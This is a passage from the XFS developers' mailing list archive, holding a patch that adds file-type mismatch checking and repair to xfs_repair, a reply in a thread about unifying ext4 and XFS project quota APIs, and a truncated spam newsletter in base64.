---------------------- -------------------------------------------------- From: Dave Chinner Add code to track the filetype of an inode from phase 3 when all the inodes are scanned throught to phase 6 when the directory structure is validated and corrected. Add code to phase 6 shortform and long form directory entry validation to read the ftype from the dirent, lookup the inode record and check they are the same. If they aren't and we are in no-modify mode, issue a warning such as: Phase 6 - check inode connectivity... - traversing filesystem ... would fix ftype mismatch (5/1) in directory/child inode 64/68 - traversal finished ... - moving disconnected inodes to lost+found ... If we are fixing the problem: Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... fixing ftype mismatch (5/1) in directory/child inode 64/68 - traversal finished ... - moving disconnected inodes to lost+found ... Note that this is from a leaf form directory entry that was intentionally corrupted with xfs_db like so: xfs_db> inode 64 xfs_db> a u3.bmx[0].startblock xfs_db> p .... du[3].inumber = 68 du[3].namelen = 11 du[3].name = "syscalltest" du[3].filetype = 1 du[3].tag = 0x70 .... xfs_db> write du[3].filetype 5 du[3].filetype = 5 xfs_db> quit Shortform directory entry repair was tested in a similar fashion. Further, track the ftype in the directory hash table that is build, so if the directory is rebuild from scratch it has the necessary ftype information to rebuild the directory correctly. Further, if we detect a ftype mismatch, update the entry in the hash so that later directory errors that lead to it being rebuilt use the corrected ftype field, not the bad one. Note that this code pulls in some kernel side code that is currently in kernel private locations (xfs_mode_to_ftype table), so there'll be some kernel/userspace sync work needed to bring these back into line. Signed-off-by: Dave Chinner --- include/xfs_dir2.h | 3 ++ libxfs/xfs_dir2.c | 16 +++++++++ repair/dino_chunks.c | 11 +++++++ repair/incore.h | 27 ++++++++++++++- repair/incore_ino.c | 29 ++++++++++++++--- repair/phase6.c | 92 ++++++++++++++++++++++++++++++++++++++++++++++++---- repair/scan.c | 4 +-- 7 files changed, 168 insertions(+), 14 deletions(-) diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 9910401..3900130 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -57,6 +57,9 @@ extern int xfs_dir_replace(struct xfs_trans *tp, struct xfs_inode *dp, extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, uint resblks); +#define S_SHIFT 12 +extern const unsigned char xfs_mode_to_ftype[]; + /* * Direct call from the bmap code, bypassing the generic directory layer. */ diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 96a3c1d..4c8c836 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -20,6 +20,22 @@ struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; +/* + * @mode, if set, indicates that the type field needs to be set up. + * This uses the transformation from file mode to DT_* as defined in linux/fs.h + * for file type specification. This will be propagated into the directory + * structure if appropriate for the given operation and filesystem config. + */ +const unsigned char xfs_mode_to_ftype[S_IFMT >> S_SHIFT] = { + [0] = XFS_DIR3_FT_UNKNOWN, + [S_IFREG >> S_SHIFT] = XFS_DIR3_FT_REG_FILE, + [S_IFDIR >> S_SHIFT] = XFS_DIR3_FT_DIR, + [S_IFCHR >> S_SHIFT] = XFS_DIR3_FT_CHRDEV, + [S_IFBLK >> S_SHIFT] = XFS_DIR3_FT_BLKDEV, + [S_IFIFO >> S_SHIFT] = XFS_DIR3_FT_FIFO, + [S_IFSOCK >> S_SHIFT] = XFS_DIR3_FT_SOCK, + [S_IFLNK >> S_SHIFT] = XFS_DIR3_FT_SYMLINK, +}; /* * ASCII case-insensitive (ie. A-Z) support for directories that was diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c index d3c2236..65281e4 100644 --- a/repair/dino_chunks.c +++ b/repair/dino_chunks.c @@ -788,6 +788,8 @@ process_inode_chunk( * we do now, this is where to start. */ if (is_used) { + __uint16_t di_mode; + if (is_inode_free(ino_rec, irec_offset)) { if (verbose || no_modify) { do_warn( @@ -803,6 +805,15 @@ process_inode_chunk( set_inode_used(ino_rec, irec_offset); /* + * store the on-disk file type for comparing in + * phase 6. + */ + di_mode = be16_to_cpu(dino->di_mode); + di_mode = (di_mode & S_IFMT) >> S_SHIFT; + set_inode_ftype(ino_rec, irec_offset, + xfs_mode_to_ftype[di_mode]); + + /* * store on-disk nlink count for comparing in phase 7 */ set_inode_disk_nlinks(ino_rec, irec_offset, diff --git a/repair/incore.h b/repair/incore.h index 38caa6d..5419884 100644 --- a/repair/incore.h +++ b/repair/incore.h @@ -293,6 +293,7 @@ typedef struct ino_tree_node { ino_ex_data_t *ex_data; /* phases 6,7 */ parent_list_t *plist; /* phases 2-5 */ } ino_un; + __uint8_t *ftypes; /* phases 3,6 */ } ino_tree_node_t; #define INOS_PER_IREC (sizeof(__uint64_t) * NBBY) @@ -359,7 +360,8 @@ ino_tree_node_t *find_uncertain_inode_rec(xfs_agnumber_t agno, xfs_agino_t ino); void add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free); -void add_aginode_uncertain(xfs_agnumber_t agno, +void add_aginode_uncertain(struct xfs_mount *mp, + xfs_agnumber_t agno, xfs_agino_t agino, int free); void get_uncertain_inode_rec(struct xfs_mount *mp, xfs_agnumber_t agno, @@ -476,6 +478,29 @@ static inline void add_inode_reached(struct ino_tree_node *irec, int offset) } /* + * get/set inode filetype. Only used if the superblock feature bit is set + * which allocates irec->ftypes. + */ +static inline void +set_inode_ftype(struct ino_tree_node *irec, + int ino_offset, + __uint8_t ftype) +{ + if (irec->ftypes) + irec->ftypes[ino_offset] = ftype; +} + +static inline __uint8_t +get_inode_ftype( + struct ino_tree_node *irec, + int ino_offset) +{ + if (!irec->ftypes) + return XFS_DIR3_FT_UNKNOWN; + return irec->ftypes[ino_offset]; +} + +/* * set/get inode number of parent -- works for directory inodes only */ void set_inode_parent(ino_tree_node_t *irec, int ino_offset, diff --git a/repair/incore_ino.c b/repair/incore_ino.c index 735737a..9200075 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -211,6 +211,21 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) return 0; } +static __uint8_t * +alloc_ftypes_array( + struct xfs_mount *mp) +{ + __uint8_t *ptr; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return NULL; + + ptr = calloc(XFS_INODES_PER_CHUNK, sizeof(*ptr)); + if (!ptr) + do_error(_("could not allocate ftypes array\n")); + return ptr; +} + /* * Next is the uncertain inode list -- a sorted (in ascending order) * list of inode records sorted on the starting inode number. There @@ -226,6 +241,7 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) */ static struct ino_tree_node * alloc_ino_node( + struct xfs_mount *mp, xfs_agino_t starting_ino) { struct ino_tree_node *irec; @@ -245,6 +261,7 @@ alloc_ino_node( irec->ino_un.ex_data = NULL; irec->nlink_size = sizeof(__uint8_t); irec->disk_nlinks.un8 = alloc_nlink_array(irec->nlink_size); + irec->ftypes = alloc_ftypes_array(mp); return irec; } @@ -303,7 +320,11 @@ static ino_tree_node_t **last_rec; * free is set to 1 if the inode is thought to be free, 0 if used */ void -add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) +add_aginode_uncertain( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agino_t ino, + int free) { ino_tree_node_t *ino_rec; xfs_agino_t s_ino; @@ -334,7 +355,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) ino_rec = (ino_tree_node_t *) avl_findrange(inode_uncertain_tree_ptrs[agno], s_ino); if (!ino_rec) { - ino_rec = alloc_ino_node(s_ino); + ino_rec = alloc_ino_node(mp, s_ino); if (!avl_insert(inode_uncertain_tree_ptrs[agno], &ino_rec->avl_node)) @@ -360,7 +381,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) void add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free) { - add_aginode_uncertain(XFS_INO_TO_AGNO(mp, ino), + add_aginode_uncertain(mp, XFS_INO_TO_AGNO(mp, ino), XFS_INO_TO_AGINO(mp, ino), free); } @@ -432,7 +453,7 @@ add_inode( { struct ino_tree_node *irec; - irec = alloc_ino_node(agino); + irec = alloc_ino_node(mp, agino); if (!avl_insert(inode_tree_ptrs[agno], &irec->avl_node)) do_warn(_("add_inode - duplicate inode range\n")); return irec; diff --git a/repair/phase6.c b/repair/phase6.c index d2d4a44..ea608a1 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -134,7 +134,8 @@ dir_hash_add( __uint32_t addr, xfs_ino_t inum, int namelen, - unsigned char *name) + unsigned char *name, + __uint8_t ftype) { xfs_dahash_t hash = 0; int byaddr; @@ -148,6 +149,7 @@ dir_hash_add( xname.name = name; xname.len = namelen; + xname.type = ftype; junk = name[0] == '/'; byaddr = DIR_HASH_FUNC(hashtab, addr); @@ -312,6 +314,23 @@ dir_hash_see( return DIR_HASH_CK_NODATA; } +static void +dir_hash_update_ftype( + dir_hash_tab_t *hashtab, + xfs_dir2_dataptr_t addr, + __uint8_t ftype) +{ + int i; + dir_hash_ent_t *p; + + i = DIR_HASH_FUNC(hashtab, addr); + for (p = hashtab->byaddr[i]; p; p = p->nextbyaddr) { + if (p->address != addr) + continue; + p->name.type = ftype; + } +} + /* * checks to make sure leafs match a data entry, and that the stale * count is valid. @@ -1685,11 +1704,12 @@ longform_dir2_entry_check_data( if (!orphanage_ino) orphanage_ino = inum; } + /* * check for duplicate names in directory. */ if (!dir_hash_add(mp, hashtab, addr, inum, dep->namelen, - dep->name)) { + dep->name, xfs_dir3_dirent_get_ftype(mp, dep))) { nbad++; if (entry_junked( _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), @@ -1763,6 +1783,35 @@ longform_dir2_entry_check_data( */ if (no_modify && verify_inum(mp, inum)) continue; + + /* validate ftype field if supported */ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t dir_ftype; + __uint8_t ino_ftype; + + dir_ftype = xfs_dir3_dirent_get_ftype(mp, dep); + ino_ftype = get_inode_ftype(irec, ino_offset); + + if (dir_ftype != ino_ftype) { + if (no_modify) { + do_warn( + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ip->i_ino, inum); + } else { + do_warn( + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ip->i_ino, inum); + xfs_dir3_dirent_put_ftype(mp, dep, + ino_ftype); + libxfs_dir2_data_log_entry(tp, bp, dep); + dir_hash_update_ftype(hashtab, addr, + ino_ftype); + } + } + } + /* * check easy case first, regular inode, just bump * the link count and continue @@ -2381,7 +2430,8 @@ shortform_dir2_entry_check(xfs_mount_t *mp, */ if (!dir_hash_add(mp, hashtab, (xfs_dir2_dataptr_t) (sfep - xfs_dir2_sf_firstentry(sfp)), - lino, sfep->namelen, sfep->name)) { + lino, sfep->namelen, sfep->name, + xfs_dir3_sfe_get_ftype(mp, sfp, sfep))) { do_warn( _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), fname, lino, ino); @@ -2403,11 +2453,11 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), * the .. in the child, blow out the entry */ if (is_inode_reached(irec, ino_offset)) { - junkit = 1; do_warn( _("entry \"%s\" in directory inode %" PRIu64 " references already connected inode %" PRIu64 ".\n"), fname, ino, lino); + goto do_junkit; } else if (parent == ino) { add_inode_reached(irec, ino_offset); add_inode_ref(current_irec, current_ino_offset); @@ -2423,12 +2473,41 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), add_dotdot_update(XFS_INO_TO_AGNO(mp, lino), irec, ino_offset); } else { - junkit = 1; do_warn( _("entry \"%s\" in directory inode %" PRIu64 " not consistent with .. value (%" PRIu64 ") in inode %" PRIu64 ",\n"), fname, ino, parent, lino); + goto do_junkit; + } + } + + /* validate ftype field if supported */ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t dir_ftype; + __uint8_t ino_ftype; + + dir_ftype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); + ino_ftype = get_inode_ftype(irec, ino_offset); + + if (dir_ftype != ino_ftype) { + if (no_modify) { + do_warn( + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ino, lino); + } else { + do_warn( + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ino, lino); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + ino_ftype); + dir_hash_update_ftype(hashtab, + (xfs_dir2_dataptr_t)(sfep - xfs_dir2_sf_firstentry(sfp)), + ino_ftype); + *ino_dirty = 1; + } } } @@ -2518,8 +2597,7 @@ do_junkit: /* * sync up sizes if required */ - if (*ino_dirty) { - ASSERT(bytes_deleted > 0); + if (*ino_dirty && bytes_deleted > 0) { ASSERT(!no_modify); libxfs_idata_realloc(ip, -bytes_deleted, XFS_DATA_FORK); ip->i_d.di_size -= bytes_deleted; diff --git a/repair/scan.c b/repair/scan.c index 49ed194..73b4581 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -866,9 +866,9 @@ _("inode rec for ino %" PRIu64 " (%d/%d) overlaps existing rec (start %d/%d)\n") for (j = 0; j < XFS_INODES_PER_CHUNK; j++) { if (XFS_INOBT_IS_FREE_DISK(rp, j)) { nfree++; - add_aginode_uncertain(agno, ino + j, 1); + add_aginode_uncertain(mp, agno, ino + j, 1); } else { - add_aginode_uncertain(agno, ino + j, 0); + add_aginode_uncertain(mp, agno, ino + j, 0); } } } -- 1.8.4.rc3 From gnehzuil.liu@gmail.com Tue Jan 21 01:02:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E0E8529DF8 for ; Tue, 21 Jan 2014 01:02:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C7043304048 for ; Mon, 20 Jan 2014 23:02:48 -0800 (PST) X-ASG-Debug-ID: 1390287764-04cbb05bac21e30001-NocioJ Received: from mail-pb0-f41.google.com (mail-pb0-f41.google.com [209.85.160.41]) by cuda.sgi.com with ESMTP id QPa6SZzbzPRlo6rn (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 20 Jan 2014 23:02:44 -0800 (PST) X-Barracuda-Envelope-From: gnehzuil.liu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.41 Received: by mail-pb0-f41.google.com with SMTP id up15so7453529pbc.14 for ; Mon, 20 Jan 2014 23:02:44 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=NCHscetyEGP0vgdmr4WKMtPGlQrJ0byAXBFIe7cOWHc=; b=L6rOR9tnOtSOLjSp1Ff/KzBoh7yJ7BKUbIHGZWLFi68qfbo326XSdnsLuZbh595OFN xUAEN9nmTnAjZ+fm0a0Dla0Jubxb6645M+o4XY73Z/4EmCw2rJnG86ZOqJANtWsmnjxq 8quUBWJ6NcIXtkWTCduBBcTxX99PhwpF9FbbkZyBGkV2kWPW1Mf2pwpIhLpfknlH1MWF kbbXqy06xpOqT28+YM22G25UfNBSiHKuL0mZ9MsV7XXcgekppEk+oWpwHflEFo9/8mjX Y5nEodf8J2OtB11uTf7/bo3+6AmCI664j1QthJQJ2WT4M/ZtL49XRxOZmbYrx5tlj5xp gF6g== X-Barracuda-BBL-IP: nil X-Received: by 10.66.164.70 with SMTP id yo6mr23290540pab.85.1390287763919; Mon, 20 Jan 2014 23:02:43 -0800 (PST) Received: from gmail.com ([182.92.247.2]) by mx.google.com with ESMTPSA id jk16sm9285970pbb.34.2014.01.20.23.02.40 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Mon, 20 Jan 2014 23:02:43 -0800 (PST) Date: Tue, 21 Jan 2014 15:07:06 +0800 X-Barracuda-Apparent-Source-IP: 182.92.247.2 From: Zheng Liu To: Dave Chinner Cc: Andreas Dilger , Ext4 Developers List , Theodore Ts'o , Dmitry Monakhov , Ben Myers , xfs@oss.sgi.com, Li Xi Subject: Re: [RFC] directory quota survey on xfs Message-ID: <20140121070706.GA1819@gmail.com> X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs Mail-Followup-To: Dave Chinner , Andreas Dilger , Ext4 Developers List , Theodore Ts'o , Dmitry Monakhov , Ben Myers , xfs@oss.sgi.com, Li Xi References: <20131222095929.GA11444@gmail.com> <20131223014222.GC3220@dastard> <20140115081201.GA3820@gmail.com> <5966C533-EF18-4804-8C83-DFBD607D9BE6@dilger.ca> <20140115213207.GJ3431@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140115213207.GJ3431@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-pb0-f41.google.com[209.85.160.41] X-Barracuda-Start-Time: 1390287764 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144315 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dave, On Thu, Jan 16, 2014 at 08:32:07AM +1100, Dave Chinner wrote: > On Wed, Jan 15, 2014 at 11:03:22AM -0700, Andreas Dilger wrote: > > On Jan 15, 2014, at 1:12 AM, Zheng Liu wrote: > > > On Mon, Dec 23, 2013 at 12:42:22PM +1100, Dave Chinner wrote: > > >> I'd also strongly suggest that you use the XFS userspace quota API > > >> for managing project quotas, so that we can use the same management > > >> tools and tests to verify that they behave the same. Please don't > > >> invent a new version of the quota API to implement this - everything > > >> you need ifor managing project/directory quotas is already there in > > >> xfs_quota..... > > > > > > Frankly, I don't like this, really. Now we have quota-tool to manage > > > the quota in ext4. So IMHO we'd better go on using this tool because it > > > is natural for ext4 users. > > Zheng - you're confusing the userspace tool that users run with > the quotactl API the tool uses to communicate with the kernel. Thanks for pointing it out. > > > > I still couldn't accept this fact that I > > > need to install xfsprogs for using a feature of ext4. Further, it could > > > make users puzzled because they use quota to control user/group quota in > > > ext4, but it uses xfs_quota to control project quota. It could bring > > > some troubles for the ext4 users who have written some scripts to manage > > > their machines. > > > > Please see Li Xi's recent email "Directory/Project quota supports" on > > the linux-ext4 list. He has already added some prototype support for > > project quotas to quota-tools. > > So, while it is a prototype, lets do it the right way. i.e. let's > not reinvent the wheel. Yes, I agree with you and Andreas that we shouldn't reinvent the wheel. > > > I think it might make sense to keep the same API as XFS for the ext4 > > quotas (to keep compatibility for existing XFS deployments), but add > > support into quota-tools so that it is usable by all filesystems. > > Well, yes. If you are writing a generic quota tool, then it needs to > support all filesystems. We already have a fully featured quota API > that can provide this support - it's the API that XFS has been using > since it was ported to Linux. We have the opportunity to unify the > quota APIs that ext4 and XFS, so we should take the opportunity > while it is here. Don't create a new API for ext4 simply because of > NIH syndrome. These days I was thinking about your comment that uses quotactl API to communicate the userspace tool with the kernel. But I am still confusing about your comment that unifies the quota API between ext4 and XFS. Now we have two flag sets in quotactl(2). One (Q_QUOTAON, Q_GETQUOTA, etc...) is used by extN file system (I am not sure whether other file systems use these flags or not), and another (Q_XQUOTAON, Q_XGETQSTAT, etc...) is used by XFS. In xfs_quota it uses an ioctl(2) to get/set/check project id, and calls quotactl(2) with Q_XSETQLIM/Q_XGETQUOTA to set/get project quota. On kernel side, ->set_dqblk()/get_dqblk() is called when we try to set/get project quota in XFS. In ext4 the same callback functions are used to set/get user/group quota, although on userspace we use Q_SETQUOTA/ Q_GETQUOTA to set/get quota. I am not sure I fully understand your meaning that unifies the quota API between ext4 and XFS. Do you mean that we should use Q_XSETQLIM/Q_XGETQUOTA flags to set/get quota on ext4? Or using quotactl(2) is fine for you. Please correct me if I miss something. Thanks, - Zheng From 8373744.140494.560@red.mailbank.com.au Tue Jan 21 02:08:11 2014 Return-Path: <8373744.140494.560@red.mailbank.com.au> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.4 required=5.0 tests=HTML_MESSAGE,MIME_HTML_MOSTLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0143A7F4E for ; Tue, 21 Jan 2014 02:08:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D7D2A304043 for ; Tue, 21 Jan 2014 00:08:07 -0800 (PST) X-ASG-Debug-ID: 1390291678-04cb6c750724510001-w1Z2WR Received: from mail.red.mailbank.com.au (mail.mailbank.com.au [202.172.112.4]) by cuda.sgi.com with ESMTP id XfLpOIZE0gQOAyaF (version=SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 21 Jan 2014 00:08:00 -0800 (PST) X-Barracuda-Envelope-From: 8373744.140494.560@red.mailbank.com.au X-Barracuda-Apparent-Source-IP: 202.172.112.4 Received: from GREEN by mail.mailbank.com.au (RTG Mail Server) with ESMTP id HJB52408 for ; Tue, 21 Jan 2014 19:06:08 +1100 MIME-Version: 1.0 From: "Aurora Global Logistics" Sender: "Aurora Global Logistics" To: "linux-xfs@oss.sgi.com" Reply-To: Date: Tue, 21 Jan 2014 19:06:08 +1100 Subject: Aurora International Yacht Logistics - E-Newsletter Message-ID: <201401210608.489.8373744@red.mailbank.com.au> X-ASG-Orig-Subj: Aurora International Yacht Logistics - E-Newsletter Content-Type: multipart/alternative; boundary=--boundary_0_6bb341ef-9577-4b1f-8a89-ca4473150781 X-Barracuda-Connect: mail.mailbank.com.au[202.172.112.4] X-Barracuda-Start-Time: 1390291679 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA038b, HTML_MESSAGE, MIME_HTML_MOSTLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144317 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_MOSTLY BODY: Multipart message mostly text/html MIME 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 BSF_SC0_SA038b Custom Rule SA038b ----boundary_0_6bb341ef-9577-4b1f-8a89-ca4473150781 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 KioqIElNUE9SVEFOVCBOT1RFICoqKiANCklmIHlvdSBjYW4gc2VlIHRoaXMgdGV4dCwgeW91IGFy ZSBub3QgdXNpbmcgSFRNTCBlbmFibGVkIGVtYWlsIHNvZnR3YXJlLiANCg0KDQpZb3UgY2FuIHZp ZXcgdGhpcyBlLW1haWwgb25saW5lIGF0IA0KaHR0cDovL21haWxiYW5rLmNvbS5hdS9PbmxpbmUv P0I9MTQwNDk0JkJLPTBBQjZFQkI4RTIwQjQNCg0KKioqKioqIA0K ----boundary_0_6bb341ef-9577-4b1f-8a89-ca4473150781 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PCEtLSANCioqKiBJTVBPUlRBTlQgTk9URSAqKiogDQpJZiB5b3UgY2FuIHNlZSB0aGlzIHRleHQs IHlvdSBhcmUgbm90IHVzaW5nIGFuIEhUTUwgZW5hYmxlZCBlbWFpbCBjbGllbnQuIA0KDQpZb3Ug Y2FuIHZpZXcgdGhpcyBlLW1haWwgb25saW5lIGF0IA0KaHR0cDovL21haWxiYW5rLmNvbS5hdS9P bmxpbmUvP0I9MTQwNDk0JkJLPTBBQjZFQkI4RTIwQjQNCg0KLSBQbGVhc2UgZGlzcmVnYXJkIGFs bCB0aGUgdGV4dCBiZWxvdyBhcyBpdCBpcyBIVE1MIGZvcm1hdHRlZCB0ZXh0IC0gDQoqKioqKiog DQotLT4NCg0KDQoNCg0KDQoNCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRN TCA0LjAxIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9sb29z ZS5kdGQiPg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIg Y29udGVudD0idGV4dC9odG1sOw0KY2hhcnNldD1VVEYtOCI+DQo8c3R5bGUgdHlwZT0idGV4dC9j c3MiPg0KPCEtLQ0KYm9keSx0ZCB7IGZvbnQtZmFtaWx5OiB0YWhvbWEsYXJpYWw7IGZvbnQtc2l6 ZToxMnB4IH0NCmltZyB7IGJvcmRlcjowIH0NCi0tPg0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5 IGJnY29sb3I9IndoaXRlIj4NCjxwIGFsaWduPWNlbnRlciBjbGFzcz0idmlld09ubGluZSIgc3R5 bGU9ImZvbnQtZmFtaWx5OnRhaG9tYSxhcmlhbDtmb250LXNpemU6MTBweDsiPlByb2JsZW1zIHJl YWRpbmcgdGhpcyBlLW1haWwgPyA8YSB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9InZpZXdPbmxpbmUi IHN0eWxlPSJmb250LXNpemU6MTBweCIgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9Pbmxp bmUvP0I9MTQwNDk0JkJLPTBBQjZFQkI4RTIwQjQmRVVJRD0xMjRGRjk1QTlCMzI0RkRDQkU0RjU5 MEJFQzkzRUJBMSI+VmlldyBpdCBvbmxpbmUgaGVyZS48L2E+PC9wPg0KPHRhYmxlIHdpZHRoPSIx MDAlIiBpZD0iYm9keV9ob2xkZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IiBib3JkZXI9 IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICA8dGJvZHk+CiAgICAgICAg PHRyPgogICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgc3R5 bGU9InRleHQtYWxpZ246IGNlbnRlcjsiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxw YWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICA8 dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRv cCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iODAwIiBzdHlsZT0idGV4 dC1hbGlnbjogY2VudGVyOyBiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjQ1LCAyNDUsIDI0NSk7IiBi b3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRy PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI3NTAiIGFs aWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRhYmxlIHdpZHRoPSI3NTAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxw YWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9k eT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNzUw Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxl IHdpZHRoPSI3NTAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9k eT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg 